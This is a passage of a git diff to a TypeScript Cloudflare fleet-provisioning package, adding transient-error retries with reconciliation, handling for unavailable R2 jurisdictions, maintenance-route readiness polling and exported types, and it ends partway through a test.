-1829,7 +1855,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { ordinaryWorkerSubdomain(this.#ordinary, scriptName), ordinaryWorkerSecretNames(this.#ordinary, scriptName), ]); - const bindings = activeVersion.resources.bindings ?? []; + const bindings = + activeVersion.resources.bindings === undefined + ? [] + : activeVersion.resources.bindings; assertSupportedProviderBindings( bindings, new Set([ @@ -2062,7 +2091,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { ordinaryWorkerSubdomain(this.#ordinary, scriptName), ordinaryWorkerSecretNames(this.#ordinary, scriptName), ]); - const bindings = activeVersion.resources.bindings ?? []; + const bindings = + activeVersion.resources.bindings === undefined + ? [] + : activeVersion.resources.bindings; const databaseIds = bindings.flatMap((binding) => binding.type === 'd1' && binding.database_id ? [binding.database_id] @@ -2542,7 +2574,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { if (result.success === false) { throw new Error(`D1 query failed for database '${databaseId}'`); } - for (const row of result.results ?? []) { + for (const row of result.results === undefined ? [] : result.results) { if (row && typeof row === 'object') { rows.push(row as Readonly>); } @@ -3094,7 +3126,8 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { dispatch_namespace: dispatchNamespace, }), ]); - const bindings = settings.bindings ?? []; + const bindings = + settings.bindings === undefined ? [] : settings.bindings; const databaseIds = bindings.flatMap((binding) => binding.type === 'd1' && binding.database_id ? [binding.database_id] @@ -3378,6 +3411,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { fail('export returned a non-HTTPS download URL'); } const download = await this.#request(signedUrl, { + headers: { 'Accept-Encoding': 'identity' }, redirect: 'manual', }); httpStatus = download.status; diff --git a/packages/fleet-control/src/cloudflare-control-plane.ts b/packages/fleet-control/src/cloudflare-control-plane.ts index 8d00e69e..48c09df0 100644 --- a/packages/fleet-control/src/cloudflare-control-plane.ts +++ b/packages/fleet-control/src/cloudflare-control-plane.ts @@ -73,6 +73,7 @@ export { CleanupAdvanceTokenFutureError, CleanupAdvanceTokenOperationError, } from './cleanup-intent.js'; +export type { FleetInventoryR2Jurisdiction } from './cloudflare-fleet-inventory.js'; export { type CloudflareApiRateCoordinator, D1CloudflareApiRateCoordinator, diff --git a/packages/fleet-control/src/cloudflare-fleet-inventory.ts b/packages/fleet-control/src/cloudflare-fleet-inventory.ts index 03e5ed33..8d6371bc 100644 --- a/packages/fleet-control/src/cloudflare-fleet-inventory.ts +++ b/packages/fleet-control/src/cloudflare-fleet-inventory.ts @@ -1,6 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 import { createHash } from 'node:crypto'; +import { APIError } from 'cloudflare'; import { CLOUDFLARE_INVENTORY_BOUND, inventoryBoundExceeded, @@ -1941,51 +1942,73 @@ async function advanceR2Buckets( } checkSignal(context.signal); context.budget.spend(); - const page = await context.deps.listR2Buckets({ - jurisdiction, - namePrefix: context.options.scriptNamePrefix, - ...(startAfter === undefined ? {} : { startAfter }), - ...(context.signal ? { signal: context.signal } : {}), - }); - const buckets = page.buckets; - context.identity.observe([ - 'r2-buckets', - jurisdictionOrdinal, - startAfter ?? null, - buckets.map((bucket) => bucket.name ?? null), - ]); - for (const bucket of buckets) { - if (!bucket.name?.startsWith(context.options.scriptNamePrefix)) continue; - if ( - bucket.jurisdiction !== undefined && - bucket.jurisdiction !== jurisdiction - ) { - throw new Error(`R2 bucket '${bucket.name}' changed jurisdiction`); - } + let page: FleetInventoryBucketPage | undefined; + try { + page = await context.deps.listR2Buckets({ + jurisdiction, + namePrefix: context.options.scriptNamePrefix, + ...(startAfter === undefined ? {} : { startAfter }), + ...(context.signal ? { signal: context.signal } : {}), + }); + } catch (error) { if ( - !bucket.creation_date || - !Number.isFinite(Date.parse(bucket.creation_date)) + jurisdiction === 'default' || + startAfter !== undefined || + !(error instanceof APIError) || + error.status !== 403 || + !Array.isArray(error.errors) || + !error.errors.some((entry) => entry?.code === 10003) ) { - throw new Error( - `R2 bucket '${bucket.name}' has no valid creation date`, - ); + throw error; } - if (context.sink.count('r2-bucket') >= CLOUDFLARE_INVENTORY_BOUND) { - // The bound counts only accepted fleet-owned buckets, not every - // provider item scanned while filtering by prefix. - throw inventoryBoundExceeded( - 'R2 bucket inventory', - CLOUDFLARE_INVENTORY_BOUND, - ); - } - context.sink.add('r2-bucket', { - record: 'r2-bucket', - bucketName: bucket.name, + context.sink.add('meta', { + record: 'unavailable-r2-jurisdiction', jurisdiction, - creationDate: new Date(bucket.creation_date).toISOString(), }); + context.identity.observe(['unavailable-r2-jurisdiction', jurisdiction]); + } + if (page !== undefined) { + const buckets = page.buckets; + context.identity.observe([ + 'r2-buckets', + jurisdictionOrdinal, + startAfter ?? null, + buckets.map((bucket) => bucket.name ?? null), + ]); + for (const bucket of buckets) { + if (!bucket.name?.startsWith(context.options.scriptNamePrefix)) + continue; + if ( + bucket.jurisdiction !== undefined && + bucket.jurisdiction !== jurisdiction + ) { + throw new Error(`R2 bucket '${bucket.name}' changed jurisdiction`); + } + if ( + !bucket.creation_date || + !Number.isFinite(Date.parse(bucket.creation_date)) + ) { + throw new Error( + `R2 bucket '${bucket.name}' has no valid creation date`, + ); + } + if (context.sink.count('r2-bucket') >= CLOUDFLARE_INVENTORY_BOUND) { + // The bound counts only accepted fleet-owned buckets, not every + // provider item scanned while filtering by prefix. + throw inventoryBoundExceeded( + 'R2 bucket inventory', + CLOUDFLARE_INVENTORY_BOUND, + ); + } + context.sink.add('r2-bucket', { + record: 'r2-bucket', + bucketName: bucket.name, + jurisdiction, + creationDate: new Date(bucket.creation_date).toISOString(), + }); + } } - if (buckets.length < R2_PAGE_SIZE) { + if (page === undefined || page.buckets.length < R2_PAGE_SIZE) { const nextOrdinal = jurisdictionOrdinal + 1; if (nextOrdinal > 2) { return nextStage(stage, context.options, context.sink.counts); @@ -1993,7 +2016,7 @@ async function advanceR2Buckets( jurisdictionOrdinal = nextOrdinal as 0 | 1 | 2; startAfter = undefined; } else { - const last = buckets.at(-1)?.name; + const last = page.buckets.at(-1)?.name; if (!last || last === startAfter) { throw new Error('R2 bucket inventory pagination did not advance'); } diff --git a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts index 442c2cfb..8cf471a9 100644 --- a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts +++ b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts @@ -206,7 +206,7 @@ export async function ordinaryWorkerSubdomain( } const body: unknown = await response.json(); const result = readField(body, 'result'); - const errors = readField(body, 'errors'); + const errors = readField(body, 'errors') ?? undefined; const enabled = readField(result, 'enabled'); const previews = readField(result, 'previews_enabled'); if ( @@ -323,7 +323,6 @@ export async function listOrdinaryWorkerVersions( scriptName: string, ): Promise { return context.schedule(async () => { - let yielded = false; try { const versions: PlainWorkerVersionSummary[] = []; for await (const version of context.collectBounded( @@ -337,7 +336,6 @@ export async function listOrdinaryWorkerVersions( 'ordinary Worker version inventory', MAX_VERSION_INVENTORY, )) { - yielded = true; versions.push({ versionId: readStringField(version, 'id') ?? @@ -347,7 +345,9 @@ export async function listOrdinaryWorkerVersions( } return versions; } catch (error) { - if (!yielded && isNotFound(error)) return undefined; + // The SDK requests the page after the last item. A 404 observes the + // script's absence between pages, so earlier pages are stale. + if (isNotFound(error)) return undefined; throw error; } }); @@ -698,7 +698,9 @@ export async function inspectActiveWorkerRoute( artifactVersion, { account_id: context.accountId, script_name: scriptName }, ); - const specDigest = (version.resources.bindings ?? []).flatMap((binding) => + const specDigest = ( + version.resources.bindings === undefined ? [] : version.resources.bindings + ).flatMap((binding) => binding.type === 'plain_text' && binding.name === 'FLEET_SPEC_DIGEST' ? [binding.text] : [], diff --git a/packages/fleet-control/src/cloudflare-provider-errors.ts b/packages/fleet-control/src/cloudflare-provider-errors.ts index 3df0177a..cb7c1579 100644 --- a/packages/fleet-control/src/cloudflare-provider-errors.ts +++ b/packages/fleet-control/src/cloudflare-provider-errors.ts @@ -160,3 +160,29 @@ export function isNotFound(error: unknown): boolean { error.status === 404, ); } + +/** + * Recognizes SDK provider responses and transport failures, including their + * sanitized forms. A transient classification still requires an absence read + * before a provisioning mutation can retry through the backend's wait seam. + */ +export function isTransientProviderError(error: unknown): boolean { + const sanitized = + readErrorFieldSafely(error, 'name') === 'CloudflareProviderError'; + if (!sanitized && !(error instanceof APIError)) return false; + const status = readErrorFieldSafely(error, 'status'); + if (typeof status === 'number') { + return status >= 500 || status === 408 || status === 429; + } + if (status !== undefined) return false; + const causeName = readErrorFieldSafely( + readErrorFieldSafely(error, 'cause'), + 'name', + ); + return ( + error instanceof APIConnectionError || + (sanitized && + (causeName === 'APIConnectionError' || + causeName === 'APIConnectionTimeoutError')) + ); +} diff --git a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts index d33416d5..be1df6f2 100644 --- a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts +++ b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts @@ -335,7 +335,8 @@ function normalizeProviderCursor(value: unknown): string | undefined { } function nextCursorFrom(payload: Record): string | undefined { - if (!Object.hasOwn(payload, 'result_info')) return undefined; + if (!Object.hasOwn(payload, 'result_info') || payload.result_info === null) + return undefined; const resultInfo = plainRecord(payload.result_info); if (!resultInfo) { throw new Error( @@ -376,6 +377,13 @@ export async function listDispatchScriptPage( if (!record || !Object.hasOwn(record, 'result')) { throw new Error('Cloudflare dispatch script listing was malformed'); } + if (record.success !== true) { + throw new Error('Cloudflare dispatch script listing reported failure'); + } + const errors = record.errors ?? undefined; + if (errors !== undefined && (!Array.isArray(errors) || errors.length !== 0)) { + throw new Error('Cloudflare dispatch script listing returned errors'); + } if (!Array.isArray(record.result)) { throw new Error('Cloudflare dispatch script listing had no result array'); } diff --git a/packages/fleet-control/src/fleet-inventory-state.ts b/packages/fleet-control/src/fleet-inventory-state.ts index 48c645b5..e0386fd6 100644 --- a/packages/fleet-control/src/fleet-inventory-state.ts +++ b/packages/fleet-control/src/fleet-inventory-state.ts @@ -1384,6 +1384,15 @@ export function materializeFleetInventoryGeneration( namespaceIds: of('namespace-id', 'namespace-id').map((row) => text(row.payload, 'namespaceId'), ), + unavailableR2Jurisdictions: Object.freeze( + of('meta', 'unavailable-r2-jurisdiction').map((row) => { + const jurisdiction = text(row.payload, 'jurisdiction'); + if (jurisdiction !== 'eu' && jurisdiction !== 'fedramp') { + throw new FleetInventoryStateError(); + } + return jurisdiction; + }), + ), r2Buckets: of('r2-bucket', 'r2-bucket').map((row) => ({ bucketName: text(row.payload, 'bucketName'), jurisdiction: text(row.payload, 'jurisdiction') as R2Jurisdiction, diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts index 898038e2..a9dc750d 100644 --- a/packages/fleet-control/src/index.ts +++ b/packages/fleet-control/src/index.ts @@ -70,14 +70,25 @@ export { type OrdinaryWorkerFootprint, type PlainWorkerCloudflareClientOptions, } from './cloudflare-client.js'; +export type { FleetInventoryR2Jurisdiction } from './cloudflare-fleet-inventory.js'; +export type { + PreparedOrdinaryWorkerDeploymentVersions, + PreparedOrdinaryWorkerUpload, +} from './cloudflare-ordinary-worker-operations.js'; export { type CloudflareApiRateCoordinator, D1CloudflareApiRateCoordinator, type D1CloudflareApiRateCoordinatorOptions, ProcessLocalCloudflareApiRateCoordinator, } from './cloudflare-rate-coordinator.js'; -export { D1FleetInventoryRunStore } from './d1-fleet-inventory-run-store.js'; -export { D1FleetOperationStore } from './d1-fleet-operation-store.js'; +export { + D1FleetInventoryRunStore, + type D1FleetInventoryRunStoreOptions, +} from './d1-fleet-inventory-run-store.js'; +export { + D1FleetOperationStore, + type D1FleetOperationStoreOptions, +} from './d1-fleet-operation-store.js'; export { type AdvanceDecommissionDeploymentOptions, advanceDecommissionDeployment, @@ -129,15 +140,26 @@ export { } from './fleet-inventory-advance.js'; export { type CollectFleetInventoryOptions, + type FleetInventoryDeploymentFactKind, + type FleetInventoryFailureReason, + type FleetInventoryGeneration, type FleetInventoryGenerationRef, type FleetInventoryLease, type FleetInventoryProviderContext, + type FleetInventoryRowKind, type FleetInventoryRunOptions, + type FleetInventoryRunProgress, + type FleetInventoryRunRecord, type FleetInventoryRunStore, type FleetInventoryRunToken, FleetInventoryRunTokenError, FleetInventoryRunTokenFutureError, FleetInventoryRunTokenOperationError, + type FleetInventoryStage, + type FleetInventoryStagedFact, + type FleetInventoryStagedRow, + type FleetInventoryStageInput, + type FleetInventoryStageResult, } from './fleet-inventory-state.js'; export { type AdvanceFleetMigrationOptions, @@ -282,6 +304,7 @@ export { type MaintenanceSigningProfile, type NormalDecommissionLifecyclePhase, type ObservedActiveRoute, + type OrdinaryWorkerDeploymentVersion, type PlainWorkerCleanupOutcome, type PlainWorkerCustomDomain, type PlainWorkerDatabaseExportResult, diff --git a/packages/fleet-control/src/plain-worker-backend.ts b/packages/fleet-control/src/plain-worker-backend.ts index df16bd66..129c61d6 100644 --- a/packages/fleet-control/src/plain-worker-backend.ts +++ b/packages/fleet-control/src/plain-worker-backend.ts @@ -9,7 +9,9 @@ import { applicationSecretValues, canonicalApplicationBindings, } from './application-bindings.js'; +import { isTransientProviderError } from './cloudflare-provider-errors.js'; import { + cancelBodyWithoutAwait, captureDatabaseExportReceiptCapability, databaseExportReceiptIdentityFromUnknown, } from './database-export-store.js'; @@ -197,8 +199,16 @@ export interface PlainWorkerBackendOptions { readonly identityCaller: string; readonly fetch?: typeof fetch; readonly maintenanceRequestTimeoutMs?: number; + /** + * Bounds maintenance route readiness and deployment propagation waits. + * @defaultValue 60000 + */ + readonly maintenanceRouteReadyTimeoutMs?: number; + readonly maintenanceRouteReadyIntervalMs?: number; /** Stamps `observedAt` on an attestation. Injected so it can be pinned. */ readonly clock?: () => number; + /** Delays reconciled mutation retries. Defaults to a `setTimeout` promise. */ + readonly wait?: (ms: number) => Promise; } /** @@ -260,7 +270,10 @@ export class PlainWorkerBackend implements ProvisioningBackend { readonly #identityCaller: string; readonly #fetch: typeof fetch; readonly #maintenanceRequestTimeoutMs: number; + readonly #maintenanceRouteReadyTimeoutMs: number; + readonly #maintenanceRouteReadyIntervalMs: number; readonly #clock: () => number; + readonly #wait: (ms: number) => Promise; constructor(options: PlainWorkerBackendOptions) { const maintenanceRequestTimeoutMs = resolveMaintenanceRequestTimeoutMs( @@ -279,7 +292,22 @@ export class PlainWorkerBackend implements ProvisioningBackend { const fetchFn = options.fetch ?? fetch; this.#fetch = (input, init) => fetchFn(input, init); this.#maintenanceRequestTimeoutMs = maintenanceRequestTimeoutMs; + this.#maintenanceRouteReadyTimeoutMs = + options.maintenanceRouteReadyTimeoutMs ?? 60_000; + this.#maintenanceRouteReadyIntervalMs = + options.maintenanceRouteReadyIntervalMs ?? 2_000; + for (const value of [ + this.#maintenanceRouteReadyTimeoutMs, + this.#maintenanceRouteReadyIntervalMs, + ]) { + if (!Number.isSafeInteger(value) || value < 1) { + throw new Error('maintenance route readiness timing must be positive'); + } + } this.#clock = options.clock ?? Date.now; + this.#wait = + options.wait ?? + ((ms) => new Promise((resolve) => setTimeout(resolve, ms))); const advanceDecommissionAttachmentScan = options.api.advanceDecommissionAttachmentScan; if (typeof advanceDecommissionAttachmentScan === 'function') { @@ -372,29 +400,42 @@ export class PlainWorkerBackend implements ProvisioningBackend { spec: DeploymentSpec, fence: ExternalMutationFence, ): Promise { - this.#assertMutationDuration(fence); - const outcome = await this.#api.createDatabase(spec.databaseName, fence); - if (outcome.status === 'failed') { - const recovered = await this.findDatabase(spec); - if (recovered) { - const owner = await this.readDeploymentIdentity(recovered, fence); - if (owner !== undefined) { - throw new Error( - `refusing authorized database reconciliation for '${recovered.id}' owned by '${owner}'`, - { cause: outcome.error }, - ); + for (let attempt = 0; ; attempt += 1) { + this.#assertMutationDuration(fence); + const outcome = await this.#api.createDatabase(spec.databaseName, fence); + if (outcome.status === 'failed') { + const recovered = await this.findDatabase(spec); + if (recovered) { + const owner = await this.readDeploymentIdentity(recovered, fence); + if (owner !== undefined) { + throw new Error( + `refusing authorized database reconciliation for '${recovered.id}' owned by '${owner}'`, + { cause: outcome.error }, + ); + } + return { ...recovered, created: true }; } - return { ...recovered, created: true }; + await this.#waitForReconciledMutationRetry(outcome.error, attempt); + continue; } - throw outcome.error; - } - const resolved = await this.findDatabase(spec); - if (!resolved) { - throw new Error( - `D1 database '${spec.databaseName}' is absent after successful creation`, - ); + const resolved = await this.findDatabase(spec); + if (!resolved) { + throw new Error( + `D1 database '${spec.databaseName}' is absent after successful creation`, + ); + } + return { ...resolved, created: true }; } - return { ...resolved, created: true }; + } + + async #waitForReconciledMutationRetry( + error: unknown, + attempt: number, + ): Promise { + // Reconciliation proves absence before the injected wait delays a retry; + // the next attempt checks the duration fence before dispatch. + if (attempt >= 2 || !isTransientProviderError(error)) throw error; + await this.#wait(2_000 * (attempt + 1)); } async #query( @@ -486,24 +527,28 @@ export class PlainWorkerBackend implements ProvisioningBackend { if (!this.#api.createR2Bucket) { throw new Error('plain Worker route API does not support application R2'); } - await fence.assertOwned(); - try { - await this.#api.createR2Bucket(resource, fence); - } catch (error) { + for (let attempt = 0; ; attempt += 1) { + this.#assertMutationDuration(fence); await fence.assertOwned(); - const reconciled = await this.findApplicationR2Bucket(resource); - if (reconciled) return reconciled; - if ( - error && - typeof error === 'object' && - 'status' in error && - error.status === 409 - ) { - throw new Error( - `R2 bucket '${resource.bucketName}' conflicts with a foreign resource`, - ); + try { + await this.#api.createR2Bucket(resource, fence); + break; + } catch (error) { + await fence.assertOwned(); + const reconciled = await this.findApplicationR2Bucket(resource); + if (reconciled) return reconciled; + if ( + error && + typeof error === 'object' && + 'status' in error && + error.status === 409 + ) { + throw new Error( + `R2 bucket '${resource.bucketName}' conflicts with a foreign resource`, + ); + } + await this.#waitForReconciledMutationRetry(error, attempt); } - throw error; } const confirmed = await this.findApplicationR2Bucket(resource); if (!confirmed) @@ -1162,35 +1207,29 @@ export class PlainWorkerBackend implements ProvisioningBackend { ); } if (current.versions.some((version) => version.id === candidateId)) return; - this.#assertMutationDuration(fence); - const outcome = await this.#api.createDeployment( - spec.scriptName, - [ - ...current.versions.map((version) => ({ - versionId: version.id, - percentage: version.percentage, - })), - { versionId: candidateId, percentage: 0 }, - ], - fence, - ); - if (outcome.status === 'failed') { - const reconciled = await this.#deploymentStatus(spec); - if (!reconciled?.versions.some((version) => version.id === candidateId)) { - throw outcome.error; - } - } - } - - #requireMaintenanceDigest( - spec: DeploymentSpec, - maintenance: MaintenanceHealth, - ): void { - const expected = deploymentSpecDigest(spec); - if (maintenance.deploymentSpecDigest !== expected) { - throw new Error( - `maintenance response did not attest fleet specification digest '${expected}'`, + for (let attempt = 0; ; attempt += 1) { + this.#assertMutationDuration(fence); + const outcome = await this.#api.createDeployment( + spec.scriptName, + [ + ...current.versions.map((version) => ({ + versionId: version.id, + percentage: version.percentage, + })), + { versionId: candidateId, percentage: 0 }, + ], + fence, ); + if (outcome.status === 'failed') { + const reconciled = await this.#deploymentStatus(spec); + if ( + !reconciled?.versions.some((version) => version.id === candidateId) + ) { + await this.#waitForReconciledMutationRetry(outcome.error, attempt); + continue; + } + } + return; } } @@ -1257,7 +1296,8 @@ export class PlainWorkerBackend implements ProvisioningBackend { previewUrlsEnabled: false, }; let uploadOutcome: PlainWorkerUploadOutcome | undefined; - if (!candidateId) { + const uploadCleanupErrors: unknown[] = []; + const uploadCandidate = async () => { this.#assertMutationDuration(fence); uploadOutcome = await this.#api.uploadCandidate( { @@ -1343,7 +1383,11 @@ export class PlainWorkerBackend implements ProvisioningBackend { }, fence, ); - } + if (uploadOutcome.cleanup.status === 'failed') { + uploadCleanupErrors.push(uploadOutcome.cleanup.error); + } + }; + if (!candidateId) await uploadCandidate(); let settled: | Readonly<{ ok: true; @@ -1360,9 +1404,26 @@ export class PlainWorkerBackend implements ProvisioningBackend { }>; try { if (!candidateId) { - const operationCandidates = ( - await this.#matchingCandidateIds(spec) - ).filter((id) => !priorVersionIds.has(id)); + let operationCandidates: string[]; + // A transient failure permits another upload only after tagged-version + // reconciliation proves that this attempt created no candidate. + for (let attempt = 0; ; attempt += 1) { + operationCandidates = (await this.#matchingCandidateIds(spec)).filter( + (id) => !priorVersionIds.has(id), + ); + if ( + operationCandidates.length !== 0 || + uploadOutcome?.status !== 'failed' || + !uploadOutcome.error + ) { + break; + } + await this.#waitForReconciledMutationRetry( + uploadOutcome.error, + attempt, + ); + await uploadCandidate(); + } if (operationCandidates.length !== 1) { if (uploadOutcome?.status === 'failed' && uploadOutcome.error) { throw uploadOutcome.error; @@ -1490,18 +1551,21 @@ export class PlainWorkerBackend implements ProvisioningBackend { if (!settled.ok) { const record = settled.error; const cause = - uploadOutcome?.cleanup.status === 'failed' + uploadCleanupErrors.length > 0 ? new AggregateError( - [record.cause, uploadOutcome.cleanup.error], + [record.cause, ...uploadCleanupErrors], 'Worker upload and adapter scratch cleanup both failed', ) : record.cause; throw new WorkerDeploymentError({ ...record, cause }); } - if (uploadOutcome?.cleanup.status === 'failed') { + if (uploadCleanupErrors.length > 0) { throw new WorkerDeploymentError({ message: `installed Worker '${spec.scriptName}' but failed to clean up the adapter credential scratch`, - cause: uploadOutcome.cleanup.error, + cause: + uploadCleanupErrors.length === 1 + ? uploadCleanupErrors[0] + : new AggregateError(uploadCleanupErrors), createdByAttempt: !workerExisted, resourceState: 'present', }); @@ -1542,21 +1606,25 @@ export class PlainWorkerBackend implements ProvisioningBackend { current.versions[0]?.id === candidateId && current.versions[0].percentage === 100; if (!promoted) { - this.#assertMutationDuration(fence); - const outcome = await this.#api.createDeployment( - spec.scriptName, - [{ versionId: candidateId, percentage: 100 }], - fence, - ); - if (outcome.status === 'failed') { - const reconciled = await this.#deploymentStatus(spec); - if ( - reconciled?.versions.length !== 1 || - reconciled.versions[0]?.id !== candidateId || - reconciled.versions[0].percentage !== 100 - ) { - throw outcome.error; + for (let attempt = 0; ; attempt += 1) { + this.#assertMutationDuration(fence); + const outcome = await this.#api.createDeployment( + spec.scriptName, + [{ versionId: candidateId, percentage: 100 }], + fence, + ); + if (outcome.status === 'failed') { + const reconciled = await this.#deploymentStatus(spec); + if ( + reconciled?.versions.length !== 1 || + reconciled.versions[0]?.id !== candidateId || + reconciled.versions[0].percentage !== 100 + ) { + await this.#waitForReconciledMutationRetry(outcome.error, attempt); + continue; + } } + break; } } const beforeAttach = await this.#attestPromotionRoute(spec, guard); @@ -1578,6 +1646,69 @@ export class PlainWorkerBackend implements ProvisioningBackend { } } + async #requestMaintenance( + url: URL, + init: RequestInit, + mismatch: (maintenance: MaintenanceHealth) => string | undefined, + fence?: ExternalMutationFence, + ): Promise { + const deadline = Date.now() + this.#maintenanceRouteReadyTimeoutMs; + let readinessError = new Error( + `maintenance request failed with HTTP 404. workers.dev route did not serve within ${this.#maintenanceRouteReadyTimeoutMs} ms; a Worker fetching another Worker on the same workers.dev subdomain needs the global_fetch_strictly_public compatibility flag`, + ); + let routeNotReady = false; + for (;;) { + if (fence) await this.#assertMutationFence(fence); + const remaining = deadline - Date.now(); + if (remaining <= 0) throw readinessError; + let response: Response; + try { + response = await this.#fetch(url, { + ...init, + signal: AbortSignal.timeout( + Math.min(this.#maintenanceRequestTimeoutMs, remaining), + ), + }); + } catch (error) { + if (routeNotReady && Date.now() >= deadline) throw readinessError; + throw error; + } + const mediaType = response.headers + .get('content-type') + ?.split(';')[0] + ?.trim() + .toLowerCase(); + if ( + (response.status !== 404 && response.status !== 500) || + (mediaType !== 'text/plain' && mediaType !== 'text/html') || + response.headers.get('cache-control') === 'no-store' || + response.headers.has('www-authenticate') + ) { + const maintenance = await readMaintenanceHealth(response); + const message = mismatch(maintenance); + if (!message) return maintenance; + if (maintenance.deploymentSpecDigest === undefined) { + throw new Error(message); + } + readinessError = new Error( + `${message} within ${this.#maintenanceRouteReadyTimeoutMs} ms after the deployment change`, + ); + } else { + readinessError = new Error( + `maintenance request failed with HTTP ${response.status}. workers.dev route did not serve within ${this.#maintenanceRouteReadyTimeoutMs} ms; a Worker fetching another Worker on the same workers.dev subdomain needs the global_fetch_strictly_public compatibility flag`, + ); + cancelBodyWithoutAwait(response.body, readinessError); + } + routeNotReady = true; + const waitMs = Math.min( + this.#maintenanceRouteReadyIntervalMs, + deadline - Date.now(), + ); + if (waitMs <= 0) throw readinessError; + await new Promise((resolve) => setTimeout(resolve, waitMs)); + } + } + async ensureMaintenance( spec: DeploymentSpec, maintenanceAdminSecret: string, @@ -1605,19 +1736,22 @@ export class PlainWorkerBackend implements ProvisioningBackend { 'maintenance request timeout must be below the external mutation fence lease TTL', ); } - await this.#assertMutationFence(fence); - const maintenance = await readMaintenanceHealth( - await this.#fetch(maintenanceUrl(spec, '/admin/ensure-maintenance'), { + const expected = deploymentSpecDigest(spec); + return this.#requestMaintenance( + maintenanceUrl(spec, '/admin/ensure-maintenance'), + { method: 'POST', - signal: AbortSignal.timeout(this.#maintenanceRequestTimeoutMs), headers: { authorization: `Bearer ${maintenanceAdminSecret}`, 'Cloudflare-Workers-Version-Overrides': `${spec.scriptName}="${candidateId}"`, }, - }), + }, + (maintenance) => + maintenance.deploymentSpecDigest !== expected + ? `maintenance response did not attest fleet specification digest '${expected}'` + : undefined, + fence, ); - this.#requireMaintenanceDigest(spec, maintenance); - return maintenance; } async inspect( @@ -1756,8 +1890,10 @@ export class PlainWorkerBackend implements ProvisioningBackend { `${right.type}\u0000${right.name}`, ), ); - const maintenance = await readMaintenanceHealth( - await this.#fetch(maintenanceUrl(spec, '/admin/maintenance-status'), { + const maintenance = await this.#requestMaintenance( + maintenanceUrl(spec, '/admin/maintenance-status'), + { + method: 'GET', headers: { authorization: `Bearer ${maintenanceAdminSecret}`, ...(candidateDeployed @@ -1766,18 +1902,20 @@ export class PlainWorkerBackend implements ProvisioningBackend { } : {}), }, - }), + }, + (health) => { + if (candidateDeployed) { + const expected = deploymentSpecDigest(spec); + return health.deploymentSpecDigest !== expected + ? `maintenance response did not attest fleet specification digest '${expected}'` + : undefined; + } + return health.deploymentSpecDigest !== undefined && + health.deploymentSpecDigest !== desiredSpecDigest + ? `maintenance response does not match inspected Worker version '${artifactVersion}'` + : undefined; + }, ); - if (candidateDeployed) { - this.#requireMaintenanceDigest(spec, maintenance); - } else if ( - maintenance.deploymentSpecDigest !== undefined && - maintenance.deploymentSpecDigest !== desiredSpecDigest - ) { - throw new Error( - `maintenance response does not match inspected Worker version '${artifactVersion}'`, - ); - } return { tenantTag: spec.tenantTag, environment: spec.environment, diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index d561f2db..0c6dd584 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -1,6 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 import type { InitialExecutionFenceState } from '@proofoftech/flowsafe/deployment-identity-protocol'; +import type { FleetInventoryR2Jurisdiction } from './cloudflare-fleet-inventory.js'; import type { HostRoutingTarget } from './host-routing.js'; /** @@ -1221,6 +1222,7 @@ export interface FleetInventoryFinding { } export interface FleetResourceInventory { + readonly unavailableR2Jurisdictions: readonly FleetInventoryR2Jurisdiction[]; readonly findings: readonly FleetInventoryFinding[]; /** Canonical HOSTS namespace assigned by the fleet control plane. */ readonly hostRoutingKvId?: string; diff --git a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts index 7c669604..dc867c31 100644 --- a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts +++ b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts @@ -42,7 +42,7 @@ function parseJson(value: string, operation: string): unknown { throw new Error(`wrangler ${operation} returned invalid JSON`, { cause }); } const success = readField(parsed, 'success'); - const errors = readField(parsed, 'errors'); + const errors = readField(parsed, 'errors') ?? undefined; if ( (success !== undefined && success !== true) || (errors !== undefined && (!Array.isArray(errors) || errors.length !== 0)) @@ -432,11 +432,12 @@ export class WranglerPlainWorkerProvisioningApi ]); const parsed = parseJson(viewed.stdout, 'versions view'); const resources = readField(parsed, 'resources'); + const bindings = readField(resources, 'bindings'); return { versionId: readVersionId(parsed), tag: versionTag(parsed), bindings: providerBindingsToPlainWorkerShape( - asArray(readField(resources, 'bindings') ?? []), + asArray(bindings === undefined ? [] : bindings), ), }; } diff --git a/packages/fleet-control/test/cloudflare-api-plain-worker-backend.test.ts b/packages/fleet-control/test/cloudflare-api-plain-worker-backend.test.ts index 3c2a1d36..6f594410 100644 --- a/packages/fleet-control/test/cloudflare-api-plain-worker-backend.test.ts +++ b/packages/fleet-control/test/cloudflare-api-plain-worker-backend.test.ts @@ -177,6 +177,54 @@ describe('CloudflareApiPlainWorkerBackend', () => { expect(backend.kind).toBe('plain-worker'); }); + it('forwards maintenance route readiness timeout and interval', async () => { + const world = providerWorld(); + const fixture = recordingFetch(projectedHandler(world)); + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'inert', + plane: 'plain-worker', + rateCoordinator: testRateCoordinator(), + fetch: fixture.fetch, + }); + const request = vi.fn( + async () => + new Response('', { + status: 404, + headers: { 'content-type': 'text/html' }, + }), + ); + const backend = new CloudflareApiPlainWorkerBackend({ + client, + fetch: request, + maintenanceRouteReadyTimeoutMs: 5, + maintenanceRouteReadyIntervalMs: 2, + }); + const deployed = await backend.deployWorker( + baseSpec, + database, + secrets, + undefined, + fence(), + ); + vi.useFakeTimers(); + try { + const pending = expect( + backend.ensureMaintenance( + baseSpec, + secrets.maintenanceAdmin, + fence(), + deployed.artifactVersion, + ), + ).rejects.toThrow('workers.dev route did not serve within 5 